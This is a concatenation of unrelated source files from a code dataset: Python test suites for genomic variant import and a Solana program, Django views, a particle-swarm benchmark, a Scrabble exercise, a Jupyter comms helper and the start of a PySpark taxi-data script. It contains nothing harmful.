\"\"\"\n#include \nint main(int argc, char *argv[]) {\n\tprint(\"hello\");\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'implicit_function_declaration',\n\t\t\n\t\tregex = r\"implicit declaration of function '(\\w+)' is invalid in C99\",\n\t\t\n\t\texplanation = \"\"\"you are calling a function named {emphasize(match.group(1))} line {line_number} of {file} but dcc does not recognize {emphasize(match.group(1))} as a function.\nThere are several possible causes:\n a) You might have misspelt the function name.\n b) You might need to add a #include line at the top of {file}.\n c) You might need to add a prototype for {emphasize(match.group(1))}.\n\"\"\",\n\t\tno_following_explanations = True,\n\t\t\n\t\treproduce = \"\"\"\nint main(int argc, char *argv[]) {\n\tf();\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'expression_not_assignable',\n\t\t\n\t\tregex = r\"expression is not assignable\",\n\t\t\n\t\texplanation = \"\"\"You are using {emphasize('=')} incorrectly perhaps you meant {emphasize('==')}.\nReminder: you use {emphasize('=')} to assign to a variable.\nYou use {emphasize('==')} to compare values.\t\t\n\t\t\"\"\",\n\t\t\n\t\treproduce = \"\"\"\nint main(int argc, char *argv[]) {\n\tif (argc = 1 || argc = 2) {\n\t\treturn 1;\n\t}\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'dcc-uninitialized-local-variable',\n\t\t\n\t\tregex = r\"'(.*)' is used uninitialized in this function\",\n\t\t\n\t\texplanation = \"\"\"You are using the value of the variable {emphasize(match.group(1))} before assigning a value to {emphasize(match.group(1))}.\"\"\",\n\t\t\n\t\treproduce = \"\"\"\nint main(void) {\n\tint a[0];\n\treturn a[0];\n}\n\"\"\",\n\t),\n]\n\ndef extract_system_include_file(string):\n\tm = re.search(r'<(.*?)>', str(string))\n\treturn m.group(1) if m else ''\n\nimport math\ndef truncate_number(num):\n\ttry:\n\t\treturn str(math.trunc(float(num)))\n\texcept ValueError:\n\t\treturn str(num)\n\t\t\nif __name__ == '__main__':\n\tif sys.argv[1:] and sys.argv[1] == \"--create_test_files\":\n\t\tfor explanation in explanations:\n\t\t\tif explanation.label and explanation.reproduce:\n\t\t\t\twith open(explanation.label + \".c\", \"w\") as f:\n\t\t\t\t\tf.write(explanation.reproduce)\n","sub_path":"compiler_explanations.py","file_name":"compiler_explanations.py","file_ext":"py","file_size_in_byte":11614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"449945512","text":"import yaml\n\nfrom django.http import JsonResponse\nfrom openapi_core import create_spec\nfrom openapi_core.validation.request.validators import RequestValidator\nfrom openapi_core.validation.response.validators import ResponseValidator\nfrom openapi_core.contrib.django import (\n DjangoOpenAPIRequest, DjangoOpenAPIResponse,\n)\nfrom rest_framework.views import APIView\n\nfrom djangoproject import settings\n\n\nclass TestView(APIView):\n\n def get(self, request, pk):\n with open(settings.OPENAPI_SPEC_PATH) as file:\n spec_yaml = file.read()\n spec_dict = yaml.load(spec_yaml)\n spec = create_spec(spec_dict)\n\n openapi_request = DjangoOpenAPIRequest(request)\n\n request_validator = RequestValidator(spec)\n result = request_validator.validate(openapi_request)\n result.raise_for_errors()\n\n response_dict = {\n \"test\": \"test_val\",\n }\n django_response = JsonResponse(response_dict)\n\n openapi_response = DjangoOpenAPIResponse(django_response)\n validator = ResponseValidator(spec)\n result = validator.validate(openapi_request, openapi_response)\n result.raise_for_errors()\n\n return django_response\n\n @staticmethod\n def get_extra_actions():\n return []\n","sub_path":"tests/integration/contrib/django/data/djangoproject/testapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"489224518","text":"import base64\nimport json\nfrom os.path import commonprefix\nfrom typing import Tuple\n\nimport hypothesis as ht\nimport hypothesis.strategies as st\nimport vardb.deposit.importers as deposit\nfrom conftest import mock_record\nfrom sqlalchemy.orm import scoped_session\n\n\n@st.composite\ndef positions(draw) -> Tuple[str, int, str, str]:\n def commonsuffix(strs):\n return commonprefix([s[::-1] for s in strs])[::-1]\n\n chrom = draw(st.sampled_from([\"1\", \"2\", \"X\"]))\n\n ref = draw(st.text([\"A\", \"C\", \"G\", \"T\"], min_size=1))\n alt = draw(st.text([\"A\", \"C\", \"G\", \"T\"], min_size=1))\n\n # Skew the selection away from indels (a threshold of 0.01 evens out the distribution between dels, ins and indels)\n r = draw(st.floats(min_value=0, max_value=1))\n ht.assume(r < 0.01 or (len(ref) == len(alt) == 1 or ref[0] == alt[0]))\n\n # Ignore variants with common suffix, e.g. g.123A str:\n return draw(st.text(alphabet=[\"A\", \"C\", \"G\", \"T\"], min_size=1, max_size=4))\n\n\n# Genotype import is tested as part of test_deposit\n\n\n@ht.example(\n (\"17\", 41226488, \"C\", \"A\"), # Normal SNP\n {\n \"chromosome\": \"17\",\n \"change_type\": \"SNP\",\n \"start_position\": 41226487,\n \"open_end_position\": 41226488,\n \"change_from\": \"C\",\n \"change_to\": \"A\",\n },\n)\n@ht.example(\n (\"11\", 41226488, \"C\", \"CGCT\"), # Three base insertion\n {\n \"chromosome\": \"11\",\n \"change_type\": \"ins\",\n \"start_position\": 41226487,\n \"open_end_position\": 41226488,\n \"change_from\": \"\",\n \"change_to\": \"GCT\",\n },\n)\n@ht.example(\n (\"X\", 41226488, \"AATT\", \"A\"), # Three base deletion\n {\n \"chromosome\": \"X\",\n \"change_type\": \"del\",\n \"start_position\": 41226488,\n \"open_end_position\": 41226491,\n \"change_from\": \"ATT\",\n \"change_to\": \"\",\n },\n)\n@ht.example(\n (\"14\", 41226488, \"C\", \"AGCT\"), # One base deleted, four bases inserted\n {\n \"chromosome\": \"14\",\n \"change_type\": \"indel\",\n \"start_position\": 41226487,\n \"open_end_position\": 41226488,\n \"change_from\": \"C\",\n \"change_to\": \"AGCT\",\n },\n)\n@ht.example(\n (\"3\", 41226488, \"ACGT\", \"C\"), # Four bases deleted, one base inserted\n {\n \"chromosome\": \"3\",\n \"change_type\": \"indel\",\n \"start_position\": 41226487,\n \"open_end_position\": 41226491,\n \"change_from\": \"ACGT\",\n \"change_to\": \"C\",\n },\n)\n@ht.example(\n (\"4\", 41226488, \"AT\", \"GC\"), # Two bases deleted, two bases inserted\n {\n \"chromosome\": \"4\",\n \"change_type\": \"indel\",\n \"start_position\": 41226487,\n \"open_end_position\": 41226489,\n \"change_from\": \"AT\",\n \"change_to\": \"GC\",\n },\n)\n@ht.given(st.one_of(positions()), st.just(None))\ndef test_allele_from_record(session, positions, manually_curated_result):\n\n chrom, pos, ref, alt = positions\n record = mock_record({\"CHROM\": chrom, \"POS\": pos, \"REF\": ref, \"ALT\": alt})\n\n al = deposit.build_allele_from_record(record, ref_genome=\"GRCh37\")\n if manually_curated_result:\n for k, v in manually_curated_result.items():\n assert al[k] == v\n\n expected_result = {\n \"genome_reference\": \"GRCh37\",\n \"chromosome\": chrom,\n \"vcf_pos\": pos,\n \"vcf_ref\": ref,\n \"vcf_alt\": alt,\n }\n\n if len(ref) == len(alt) == 1:\n expected_result.update(\n {\n \"change_type\": \"SNP\",\n \"start_position\": pos - 1,\n \"open_end_position\": pos,\n \"change_from\": ref,\n \"change_to\": alt,\n }\n )\n elif len(ref) >= 1 and len(alt) >= 1 and alt[0] != ref[0]:\n expected_result.update(\n {\n \"change_type\": \"indel\",\n \"start_position\": pos - 1,\n \"open_end_position\": pos - 1 + len(ref),\n \"change_from\": ref,\n \"change_to\": alt,\n }\n )\n elif len(ref) < len(alt):\n expected_result.update(\n {\n \"change_type\": \"ins\",\n \"start_position\": pos - 1,\n \"open_end_position\": pos,\n \"change_from\": \"\",\n \"change_to\": alt[1:],\n }\n )\n elif len(ref) > len(alt):\n expected_result.update(\n {\n \"change_type\": \"del\",\n \"start_position\": pos,\n \"open_end_position\": pos + len(ref) - 1,\n \"change_from\": ref[1:],\n \"change_to\": \"\",\n }\n )\n else:\n raise ValueError()\n\n assert al == expected_result\n\n\n# SNP\n@ht.example((\"1\", 123, \"T\", \"C\"), [(\"C\", \"CC\")]) # => (\"1\", 122, \"CTCC\", \"CCCC\")\n@ht.example((\"1\", 123, \"A\", \"T\"), [(\"AA\", \"T\")]) # => (\"1\", 121, \"AAAT\", \"AATT\")\n@ht.example((\"1\", 123, \"T\", \"TT\"), [(\"A\", \"\")]) # => (\"1\", 122, \"AT\", \"ATT\")\n# ins\n@ht.example((\"1\", 123, \"T\", \"TA\"), [(\"C\", \"CC\")]) # => (\"1\", 122, \"CTCC\", \"CTACC\")\n@ht.example((\"1\", 123, \"T\", \"TT\"), [(\"C\", \"T\")]) # => (\"1\", 122, \"CTT\", \"CTTT\")\n# del\n@ht.example((\"1\", 123, \"CT\", \"C\"), [(\"\", \"CC\")]) # => (\"1\", 123, \"CTCC\", \"CCC\")\n@ht.example((\"1\", 123, \"TCAG\", \"T\"), [(\"\", \"CAGCAG\")]) # => (\"1\", 123, \"TCAGCAGCAG\", \"TCAGCAG\")\n# indel\n@ht.example((\"1\", 123, \"CT\", \"AG\"), [(\"AA\", \"\")]) # => (\"1\", 121, \"AACT\", \"AAAG\")\n@ht.example((\"1\", 123, \"C\", \"AG\"), [(\"\", \"AA\")]) # => (\"1\", 123, \"CAAA\", \"AGAAA\")\n@ht.example((\"1\", 123, \"C\", \"AG\"), [(\"AG\", \"AA\")]) # => (\"1\", 121, \"AGCAAA\", \"AGAGAAA\")\n@ht.given(\n st.one_of(positions()), st.lists(st.tuples(sequence(), sequence()), min_size=1, max_size=4)\n)\ndef test_equivalent_vcf_representations(standard, padding):\n chrom, pos, ref, alt = standard\n equivalent = []\n for prefix, suffix in padding:\n N = len(prefix)\n equivalent.append((chrom, pos - N, prefix + ref + suffix, prefix + alt + suffix))\n\n positions = [standard] + equivalent\n\n assert len(positions) > 1\n items = []\n for position in positions:\n chrom, pos, ref, alt = position\n record = mock_record({\"CHROM\": chrom, \"POS\": pos, \"REF\": ref, \"ALT\": alt})\n item = deposit.build_allele_from_record(record, ref_genome=\"dabla\")\n item.pop(\"vcf_pos\")\n item.pop(\"vcf_ref\")\n item.pop(\"vcf_alt\")\n items.append(item)\n\n standard_item = items.pop(0)\n for x in items:\n assert x == standard_item\n\n\ndef test_annotationimport_target_paths(session):\n record = mock_record({\"INFO\": {\"SOURCE\": \"dabla\"}})\n import_config = [\n {\n \"name\": \"keyvalue\",\n \"converter_config\": {\"elements\": [{\"source\": \"SOURCE\", \"target\": \"key\"}]},\n }\n ]\n\n annotation_importer = deposit.AnnotationImporter(session, import_config)\n data = annotation_importer.add(record, None)\n assert data[\"annotations\"] == {\"key\": \"dabla\"}\n\n import_config = [\n {\n \"name\": \"keyvalue\",\n \"converter_config\": {\"elements\": [{\"source\": \"SOURCE\", \"target\": \"path.to.target\"}]},\n }\n ]\n\n annotation_importer = deposit.AnnotationImporter(session, import_config)\n data = annotation_importer.add(record, None)\n assert data[\"annotations\"] == {\"path\": {\"to\": {\"target\": \"dabla\"}}}\n\n\ndef test_annotationimport_target_mode(session: scoped_session):\n def get_import_config(name: str, target_mode: str, **kwargs):\n return [\n {\n \"name\": name,\n \"converter_config\": {\n \"elements\": [\n dict(source=\"SOURCE1\", target=\"key\", target_mode=target_mode, **kwargs),\n dict(source=\"SOURCE2\", target=\"key\", target_mode=target_mode, **kwargs),\n ]\n },\n }\n ]\n\n # Extend\n record = mock_record({\"INFO\": {\"SOURCE1\": (1, 3), \"SOURCE2\": (2, 4)}})\n annotation_importer = deposit.AnnotationImporter(\n session, get_import_config(\"keyvalue\", \"extend\")\n )\n data = annotation_importer.add(record, None)\n assert data[\"annotations\"] == {\"key\": (1, 3, 2, 4)}\n\n # Append\n record = mock_record({\"INFO\": {\"SOURCE1\": (1, 3), \"SOURCE2\": 2}})\n annotation_importer = deposit.AnnotationImporter(\n session, get_import_config(\"keyvalue\", \"append\")\n )\n data = annotation_importer.add(record, None)\n assert data[\"annotations\"] == {\"key\": [(1, 3), 2]}\n\n # Merge\n record = mock_record(\n {\n \"INFO\": {\n \"SOURCE1\": base64.b16encode(\n json.dumps({\"foobar\": {\"a\": 1, \"b\": 1}}).encode()\n ).decode(),\n \"SOURCE2\": base64.b16encode(\n json.dumps({\"foobar\": {\"a\": 2, \"c\": 2}}).encode()\n ).decode(),\n }\n }\n )\n annotation_importer = deposit.AnnotationImporter(\n session, get_import_config(\"json\", \"merge\", encoding=\"base16\")\n )\n data = annotation_importer.add(record, None)\n assert data[\"annotations\"] == {\"key\": {\"foobar\": {\"a\": 2, \"b\": 1, \"c\": 2}}}\n","sub_path":"src/vardb/deposit/tests/test_importers.py","file_name":"test_importers.py","file_ext":"py","file_size_in_byte":9376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"197427297","text":"\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import Http404\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.views.generic import (\n View,\n ListView,\n CreateView,\n DetailView,\n UpdateView,\n DeleteView\n)\n\n# from .models import Profile, Education, Experience, Social\nfrom .models import (Friends,FriendRequest)\nfrom accounts.models import User\n# from .forms import ProfileForm, EducationForm, ExperienceForm, SocialForm\n\n\n\n# PROFILE LIST VIEW\nclass ProfileListView(ListView):\n queryset = Friends.objects.filter()\n context_object_name = 'profiles'\n template_name = 'friends/profile_list.html'\n\n # def get_context_data(self, *args, **kwargs):\n # queryset = Friends.objects.filter()\n # context = super(ProfileListView, self).get_context_data(*args, **kwargs)\n # context['title'] = 'Profiles'\n # return context\n # def get_context_data(self, *args, **kwargs):\n # queryset = User.objects.filter()\n # context = super(ProfileListView, self).get_context_data(*args, **kwargs)\n # context['title'] = 'Profiles'\n # return context\n def get(self,request,*args, **kwargs):\n queryset = Friends.objects.filter(received_user=request.session.get('id'))\n print(\"queryset\",queryset)\n myFriends = list()\n for friends in queryset:\n requestedUser = User.objects.get(id=friends.requested_user)\n # print(requestedUser.id)\n # requestedUser = User.objects.filter(id=friends.requested_user)\n friendsDetail={'id':requestedUser.id,'name':requestedUser.name}\n myFriends.append(friendsDetail)\n print(\"queryset\",myFriends)\n return render(request, 'friends/profile_list.html', {\"title\":'My Friends',\"profiles\":queryset})\n\n\nclass AllProfileListView(ListView):\n queryset = Friends.objects.filter()\n context_object_name = 'profiles'\n template_name = 'profiles/profile_list.html'\n\n def get(self,request,*args, **kwargs):\n friendRequests = FriendRequest.objects.filter(received_user=request.session.get('id'),active=True)\n totalRequests=list()\n for requests in friendRequests:\n userRequest = User.objects.get(id=requests.requested_user)\n friendsDetail={'id':userRequest.id,'name':userRequest.name,'requested_user':requests.requested_user}\n totalRequests.append(friendsDetail)\n allUsers = User.objects.filter(active=True)\n return render(request, 'friends/profile_list.html', {\"title\":'Explore Friends',\"allUsers\":allUsers,\"friendRequests\":totalRequests,\"totalRequests\":len(totalRequests)})\n\nclass RemoveFriend(View):\n def get(self,request,*args, **kwargs):\n Friends.objects.filter(id=request.GET.get('id')).update(active=False)\n print(request.GET.get('id'))\n return redirect(reverse('accounts:myProfile'))\n\n\nclass AddFriend(View):\n def get(self,request,*args, **kwargs):\n request = FriendRequest(requested_user=request.session['id'],received_user=request.GET.get('id'))\n request.save()\n return redirect(reverse('friends:profiles-list'))\n\nclass AcceptFriend(View):\n def get(self,request,*args, **kwargs):\n FriendRequest.objects.filter(requested_user=request.GET.get('id'),received_user=request.session['id']).update(active=False)\n friend_new = Friends(requested_user=request.GET.get('id'),received_user=request.session['id'])\n friend_new.save()\n return redirect(reverse('friends:profiles-list'))\n\nclass RejectFriend(View):\n def get(self,request,*args, **kwargs):\n FriendRequest.objects.filter(requested_user=request.GET.get('id'),received_user=request.session['id']).update(active=False)\n # friend_new = Friends(requested_user=request.GET.get('id'),received_user=request.session['id'])\n # friend_new.save()\n return redirect(reverse('friends:profiles-list'))\n\n# PROFILE CREATE VIEW\n# class ProfileCreateView(LoginRequiredMixin, CheckAuthProfileMixin, CreateView):\n# queryset = Profile.objects.all()\n# template_name = 'friends/profile_create.html'\n# form_class = ProfileForm\n\n# def form_valid(self, form):\n# form.instance.user = self.request.user\n# messages.success(self.request, 'Profile has been created successfully!')\n# return super(ProfileCreateView, self).form_valid(form)\n\n# def get_context_data(self, *args, **kwargs):\n# context = super(ProfileCreateView, self).get_context_data(*args, **kwargs)\n \n# if self.get_object() is None:\n# context['title'] = 'Create Profile'\n# return context\n# else:\n# context['title'] = 'Create Profile'\n# context['profile'] = self.get_object()\n# return context\n\n\n# # PROFILE DETAIL VIEW\nclass ProfileDetailView(LoginRequiredMixin, DetailView):\n queryset = Friends.objects.all()\n context_object_name = 'profile'\n\n def get_object(self, *args, **kwargs):\n return get_object_or_404(\n Profile,\n pk=self.kwargs.get('id')\n )\n\n def get_context_data(self, *args, **kwargs):\n context = super(ProfileDetailView, self).get_context_data(*args, **kwargs)\n context['title'] = self.get_object().name\n return context","sub_path":"friends/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"243194570","text":"import asyncio\nfrom pathlib import Path\nfrom pytest import fixture, mark\nfrom anchorpy import Program, Provider, create_workspace, close_workspace, Context\nfrom solana.keypair import Keypair\nfrom solana.system_program import SYS_PROGRAM_ID\nfrom tests.utils import get_localnet\n\nPATH = Path(\"anchor/examples/tutorial/basic-2\")\n\nlocalnet = get_localnet(PATH)\n\n\n@fixture(scope=\"module\")\ndef event_loop():\n \"\"\"Create an instance of the default event loop for each test case.\"\"\"\n loop = asyncio.get_event_loop_policy().new_event_loop()\n yield loop\n loop.close()\n\n\n@fixture(scope=\"module\")\nasync def program(localnet) -> Program:\n workspace = create_workspace(PATH)\n yield workspace[\"basic_2\"]\n await close_workspace(workspace)\n\n\n@fixture(scope=\"module\")\ndef provider(program: Program) -> Provider:\n return program.provider\n\n\n@fixture(scope=\"module\")\nasync def created_counter(program: Program, provider: Provider) -> Keypair:\n counter = Keypair()\n await program.rpc[\"create\"](\n provider.wallet.public_key,\n ctx=Context(\n accounts={\n \"counter\": counter.public_key,\n \"user\": provider.wallet.public_key,\n \"systemProgram\": SYS_PROGRAM_ID,\n },\n signers=[counter],\n ),\n )\n return counter\n\n\n@mark.asyncio\nasync def test_create_counter(\n created_counter: Keypair, program: Program, provider: Provider\n) -> None:\n \"\"\"Test creating a counter.\"\"\"\n counter_account = await program.account[\"Counter\"].fetch(created_counter.public_key)\n assert counter_account[\"authority\"] == provider.wallet.public_key\n assert counter_account[\"count\"] == 0\n\n\n@mark.asyncio\nasync def test_update_counter(\n created_counter: Keypair, program: Program, provider: Provider\n) -> None:\n \"\"\"Test updating the counter.\"\"\"\n await program.rpc[\"increment\"](\n ctx=Context(\n accounts={\n \"counter\": created_counter.public_key,\n \"authority\": provider.wallet.public_key,\n }\n )\n )\n counter_account = await program.account[\"Counter\"].fetch(created_counter.public_key)\n assert counter_account[\"authority\"] == provider.wallet.public_key\n assert counter_account[\"count\"] == 1\n","sub_path":"tests/test_basic_2.py","file_name":"test_basic_2.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"638834176","text":"from objective_functions import rastrigin_function\nimport numpy as np\nimport time\nfrom pathos.multiprocessing import ProcessingPool\nfrom psolib import ImplicitTargetPSO\n\n\n# Initial settings\nDIM = 6\n\ndomain = {\n 'rastrigin': np.repeat([[-5., 5]], DIM, axis=0)\n}\n\nrun_settings = {\n 'function': rastrigin_function,\n 'searchspace': domain['rastrigin'],\n 'target': None, # Not used by ImplicitTargetPSO\n 'nparticles': 50,\n 'maxiter': 500,\n 'precision': 1e-4, # assume f(x_min) = 0\n 'domain': domain['rastrigin'],\n 'verbose': False\n}\n\n\ndef harness(implementation, settings):\n # Must explicitly set random seed or every Pool result will be the same\n np.random.seed()\n opt = implementation()\n start = time.time()\n xarr, varr, parr, cparr, garr, cgarr = opt.run_pso(**settings)\n stop = time.time()\n best = cgarr[-1]\n iterations = cgarr.shape[0]\n timer = stop - start\n\n return best, iterations, timer\n\n# RUNS = 25\n# results = ProcessingPool().map(harnass, [ImplicitTargetPSO]*RUNS, [run_settings]*RUNS)\n\n\ndef rastrigin_runner():\n DIMS = [2, 4, 8, 16]\n RUNS = 25\n\n results = {}\n for DIM in DIMS:\n domain = {\n 'rastrigin': np.repeat([[-5., 5]], DIM, axis=0)\n }\n run_settings['searchspace'] = domain['rastrigin']\n run_settings['domain'] = domain['rastrigin']\n result = ProcessingPool().map(harness, [ImplicitTargetPSO] * RUNS, [run_settings] * RUNS)\n results[DIM] = np.array(result)\n\n return results\n\n\ndef summarize(results, run_settings, func_name):\n akey = next(iter(results))\n print(\"For {function} each problem was run {runs} times\\n\".format(function=func_name, runs=results[akey].shape[0]))\n for dim, result in results.items():\n print(\"Input dimension: {dim}\".format(dim=dim))\n print(\"Absolute solution tolerance: {}\".format(run_settings['precision']))\n success = np.sum(result[:, 0] < run_settings['precision'])\n fraction = success / result.shape[0]\n std = np.std(result[:, 0])\n print(\"{:.2f} were successful. Standard Dev of best results: {:.3f}\".format(fraction, std))\n runtime = np.sum(result[:, 2])\n avg_runtime = np.average(result[:, 2])\n print(\"Total run time: {:.1f}. Average run time: {:.1f}\".format(runtime, avg_runtime))\n\n\nresults = rastrigin_runner()\nsummarize(results, run_settings, 'Rastrigin')","sub_path":"tests/synchronous_serial_pso.py","file_name":"synchronous_serial_pso.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"305235606","text":"# The function get_word_score should accept a string of lowercase letters as input (a word) and return the\n# integer score for that word, using the game's scoring rules.\n# Fill in the code for get_word_score in ps5.py:\n# def get_word_score(word, n): \"\"\"\n# Returns the score for a word. Assumes the word is a\n# valid word.\n# The score for a word is the sum of the points for letters\n# in the word, plus 50 points if all n letters are used on\n# the first go.\n# Letters are scored as in Scrabble; A is worth 1, B is\n# worth 3, C is worth 3, D is worth 2, E is worth 1, and so on.\n# word: string (lowercase letters)\n# n: integer (maximum hand size; i.e., hand size required for additional\n# points)\n# returns: int >= 0\n# \"\"\"\n# You may assume that the input word is always either a string of lowercase letters, or the empty string \"\".\n# You will want to use the SCRABBLE_LETTER_VALUES dictionary defined at the top of ps5.py. You should not\n# change its value.\n# Do not assume that there are always 7 letters in a hand! The parameter n is the number of letters required\n# for a bonus score (the maximum number of letters in the hand).\n\n\nSCRABBLE_LETTER_VALUES = {'a': 1, 'b': 3, 'c': 3, 'd': 2, 'e': 1, 'f': 3, 'g': 2, 'h': 3, 'i':1, 'j':2, 'k':1,\n 'l':2, 'm':3, 'n':1, 'o':2, 'p':3, 'q':1, 'r':2, 's':1, 't':2, 'u':3, 'v':1, 'w':2,\n 'x':1, 'y':2, 'z':3}\n\n\ndef get_word_score(word, n):\n if len(word) == n:\n score = 50\n else:\n score = 0\n for letter in word:\n score = score + SCRABBLE_LETTER_VALUES[letter]\n return score\n\n\nword = 'ninewords'\nn = 9\nprint(get_word_score(word, n))\n\n","sub_path":"Set5_problem.py","file_name":"Set5_problem.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417025710","text":"import re\nfrom multiprocessing import Pool\nfrom kaljanchik import kaljanchikmain\nfrom kalyan4you import kalyan4youmain\n\nmagazines = ['http://kaljanchik.ru/tabak-dlya-kalyanov', 'http://kalyan4you.ru/tabak/']\nfor magazine in magazines:\n urlmagazine = re.sub(\"http://\", \"\", magazine)\n urlmagazine = re.sub(\"(/(\\d|\\D)+/|/(\\d|\\D)+)\", \"\", urlmagazine)\n if urlmagazine == 'kaljanchik.ru':\n pool = Pool()\n pool.map(kaljanchikmain(magazine, urlmagazine))\n pool.close()\n pool.join()\n elif urlmagazine == 'kalyan4you.ru':\n pool = Pool()\n pool.map(kalyan4youmain(magazine, urlmagazine))\n pool.close()\n pool.join()\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"243478656","text":"import json\nimport uuid\nimport sys\nimport traceback\ntry:\n from StringIO import StringIO\nexcept:\n from io import StringIO\n\nimport bokeh.embed.notebook\nimport bokeh.io.notebook\nfrom bokeh.util.string import encode_utf8\n\nfrom IPython.display import publish_display_data\n\n\n\n\nJS_CALLBACK = \"\"\"\n function unique_events(events) {{\n // Processes the event queue ignoring duplicate events\n // of the same type\n var unique = [];\n var unique_events = [];\n for (var i=0; i{bokeh_script}\n \"\"\".format(bokeh_div=bokeh_div, bokeh_script=bokeh_script)\n\n publish_display_data({'text/html': encode_utf8(bokeh_output)})\n return bokeh.io.notebook.CommsHandle(bokeh.io.notebook.get_comms(target), doc)\n\n\nclass StandardOutput(list):\n \"\"\"\n Context manager to capture standard output for any code it\n is wrapping and make it available as a list, e.g.:\n\n >>> with StandardOutput() as stdout:\n ... print('This gets captured')\n >>> print(stdout[0])\n This gets captured\n \"\"\"\n\n def __enter__(self):\n self._stdout = sys.stdout\n sys.stdout = self._stringio = StringIO()\n return self\n\n def __exit__(self, *args):\n self.extend(self._stringio.getvalue().splitlines())\n sys.stdout = self._stdout\n\n\nclass JupyterCommJS(object):\n \"\"\"\n JupyterCommJS provides a comms channel for the Jupyter notebook,\n which is initialized on the frontend. This allows sending events\n initiated on the frontend to python.\n \"\"\"\n\n template = \"\"\"\n \n\n
\n {init_frame}\n
\n \"\"\"\n\n def __init__(self, id=None, on_msg=None):\n \"\"\"\n Initializes a Comms object\n \"\"\"\n self.id = id if id else uuid.uuid4().hex\n self._on_msg = on_msg\n self._comm = None\n\n from IPython import get_ipython\n self.manager = get_ipython().kernel.comm_manager\n self.manager.register_target(self.id, self._handle_open)\n\n\n def _handle_open(self, comm, msg):\n self._comm = comm\n self._comm.on_msg(self._handle_msg)\n\n\n def send(self, data):\n \"\"\"\n Pushes data across comm socket.\n \"\"\"\n self.comm.send(data)\n\n\n @classmethod\n def decode(cls, msg):\n \"\"\"\n Decodes messages following Jupyter messaging protocol.\n If JSON decoding fails data is assumed to be a regular string.\n \"\"\"\n return msg['content']['data']\n\n\n @property\n def comm(self):\n if not self._comm:\n raise ValueError('Comm has not been initialized')\n return self._comm\n\n\n def _handle_msg(self, msg):\n \"\"\"\n Decode received message before passing it to on_msg callback\n if it has been defined.\n \"\"\"\n comm_id = None\n try:\n stdout = []\n msg = self.decode(msg)\n comm_id = msg.pop('comm_id', None)\n if self._on_msg:\n # Comm swallows standard output so we need to capture\n # it and then send it to the frontend\n with StandardOutput() as stdout:\n self._on_msg(msg)\n except Exception as e:\n # TODO: isn't this cutting out info needed to understand what's gone wrong?\n # Since it's only going to the js console, maybe we could just show everything\n # (error = traceback.format_exc() or something like that)? Separately we do need a mechanism\n # to report reasonable messages to users, though.\n frame =traceback.extract_tb(sys.exc_info()[2])[-2]\n fname,lineno,fn,text = frame\n error_kwargs = dict(type=type(e).__name__, fn=fn, fname=fname,\n line=lineno, error=str(e))\n error = '{fname} {fn} L{line}\\n\\t{type}: {error}'.format(**error_kwargs)\n if stdout:\n stdout = '\\n\\t'+'\\n\\t'.join(stdout)\n error = '\\n'.join([stdout, error])\n reply = {'msg_type': \"Error\", 'traceback': error}\n else:\n stdout = '\\n\\t'+'\\n\\t'.join(stdout) if stdout else ''\n reply = {'msg_type': \"Ready\", 'content': stdout}\n\n # Returning the comm_id in an ACK message ensures that\n # the correct comms handle is unblocked\n if comm_id:\n reply['comm_id'] = comm_id\n self.send(json.dumps(reply))\n","sub_path":"parambokeh/comms.py","file_name":"comms.py","file_ext":"py","file_size_in_byte":7991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"592247419","text":"'''\n\n ________ ______ ______ _ ____ __\n /_ __/ / / ____/ /_ __/____(_)___ / __ \\____ _/ /_____ _\n / / / / / / / / / ___/ / __ \\ / / / / __ `/ __/ __ `/\n / / / /___/ /___ / / / / / / /_/ / / /_/ / /_/ / /_/ /_/ /\n/_/ /_____/\\____/ /_/ /_/ /_/ .___/ /_____/\\__,_/\\__/\\__,_/\n /_/\n\n\nAuthors: Willi Menapace \n Luca Zanella \n Daniele Giuliani \n\nProduces high resolution images showing pickup and dropoff points contained in the dataset\n\nRequired files: Original dataset converted to parquet format\n\nParameters to set:\nmaster -> The url for the spark cluster, set to local for your convenience\nread_dataset_folder -> Location from which to read the dataset\ndataset_folder -> Location to which to write the results\nres_lat -> Resolution in pixels of the image to produce\ncmap parameter -> Produces images in a different color gradient\n Greys is used for easing post processing\n'''\n\nimport pyspark\nfrom pyspark.sql import SparkSession\nimport pyspark.sql.functions\nfrom pyspark.sql.types import *\nfrom pyspark.sql.functions import *\n\nimport schema_conversion\nfrom schema import *\nfrom computed_columns import *\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport multiprocessing\n\nappName = 'Parquet Converter'\nmaster = 'local[*]'\n\nsc = pyspark.SparkContext()\nspark = SparkSession.builder.appName(appName).getOrCreate()\n\n\nread_dataset_folder = '/home/bigdata/auxiliary/'\ndataset_folder = '/home/bigdata/auxiliary/'\n\n#Reads the dataset and transforms to a common format\n#Only datasets up to 2016 contain coordinates, so later datasets are not loaded\nyellow_2010 = spark.read.parquet('file://' + read_dataset_folder + 'yellow_tripdata_2010.parquet')\nyellow_2010 = yellow_2010.select(yellow_2010[\"pickup_latitude\"].alias(\"lat\"), 